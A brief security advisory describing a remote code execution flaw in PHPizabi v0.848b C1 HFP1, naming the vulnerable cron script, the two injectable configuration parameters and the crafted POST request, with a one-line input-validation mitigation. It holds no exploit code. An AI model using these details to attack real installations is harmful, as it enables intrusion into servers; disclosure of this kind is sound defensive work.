PHPizabi v0.848b C1 HFP1 Remote Code Execution

A vulnerability exists in PHPizabi v0.848b C1 HFP1, which allows an attacker to execute arbitrary code on the vulnerable system. This is due to the lack of proper input validation in the system/v_cron_proc.php script, which allows an attacker to inject malicious code into the CONF[CRON_LOGFILE] and CONF[LOCALE_LONG_DATE_TIME] parameters. This can be exploited to execute arbitrary code on the vulnerable system by sending a specially crafted HTTP POST request.

Mitigation:

Input validation should be performed to ensure that user-supplied data is properly sanitized.
